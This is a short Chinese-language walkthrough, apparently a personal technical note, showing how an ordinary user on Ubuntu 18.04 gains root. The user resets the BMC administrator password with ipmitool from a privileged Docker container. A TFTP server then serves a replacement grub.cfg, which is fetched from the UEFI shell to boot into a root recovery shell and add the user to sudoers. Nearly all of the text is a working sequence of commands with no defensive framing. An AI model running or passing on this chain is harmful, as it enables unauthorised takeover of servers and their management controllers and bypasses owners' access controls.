本文介绍了Ubuntu 18.04下普通用户的一次提权过程
docker run --gpus all --shm-size=32g -ti -e NVIDIA_VISIBLE_DEVICES=all \
--privileged --net=host --rm nvcr.io/nvidia/pytorch:23.07-py3 /bin/bash
# 1.安装ipmitool工具
apt update
apt install ipmitool -y
# 2.查询BMC用户列表
ipmitool user list 1
# 3.修改admin的密码(admin用户对应的ID为2)
ipmitool user set password 2 Hello@123
# 4.获取BMC IP
ipmitool lan print | grep "IP Address"
输出
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 true false false Unknown (0x00)
2 admin false false true ADMINISTRATOR
Set User Password command successful (user 2)
IP Address Source : Static Address
IP Address : xxx.xxx.xxx.xxx
apt install tftpd-hpa tftp-hpa
tee /etc/default/tftpd-hpa <<-'EOF'
TFTP_USERNAME="tftp"
TFTP_DIRECTORY="/srv/tftp"
TFTP_ADDRESS=":69"
TFTP_OPTIONS="--secure"
EOF
mkdir -p /srv/tftp
chown -R tftp:tftp /srv/tftp
chmod -R 755 /srv/tftp
systemctl restart tftpd-hpa
systemctl enable tftpd-hpa
普通用户有权限读取/boot/grub/grub.cfg,但无法修改
tee /srv/tftp/grub.cfg <<-'EOF'
set timeout=30
function load_video {
if [ x$feature_all_video_module = xy ]; then
insmod all_video
else
insmod efi_gop
insmod efi_uga
insmod ieee1275_fb
insmod vbe
insmod vga
insmod video_bochs
insmod video_cirrus
fi
}
menuentry "start" {
load_video
insmod gzio
if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi
insmod part_gpt
insmod ext2
set root='hd0,gpt2'
if [ x$feature_platform_search_hint = xy ]; then
search --no-floppy --fs-uuid --set=root --hint-bios=hd0,gpt2 --hint-efi=hd0,gpt2 --hint-baremetal=ahci0,gpt2 115cd86a-146b-4c35-8c00-59c537ec34a0
else
search --no-floppy --fs-uuid --set=root 115cd86a-146b-4c35-8c00-59c537ec34a0
fi
echo 'Loading Linux 5.4.0-120-generic ...'
linux /boot/vmlinuz-5.4.0-120-generic root=UUID=115cd86a-146b-4c35-8c00-59c537ec34a0 ro recovery nomodeset dis_ucode_ldr
echo 'Loading initial ramdisk ...'
initrd /boot/initrd.img-5.4.0-120-generic
}
EOF
# 1.通过BMC的控制台,F11选择,进入恢复模式
# 2.配置IP
ifconfig -s eth1 static 192.168.1.100 255.255.255.0 192.168.1.1
# 3.Ping上面的tftp服务器,确认网络通畅
ping 192.168.1.200
# 4.进入grub目录
FS0:
cd EFI\ubuntu
# 5.备份grub.cfg
cp grub.cfg grub.cfg.bk
# 6.从tftp下载新的grub.cfg,并替换
rm grub.cfg
tftp 192.168.1.200 grub.cfg
# 7.启动grub,进入恢复模式
grubx64.efi
# 8.选择root模式
# 9.vim /etc/sudoers,把自己的用户名加进去
# 10.恢复grub.cfg
mv /boot/efi/EFI/ubuntu/grub.cfg.bk /boot/efi/EFI/ubuntu/grub.cfg
# 11.reboot
!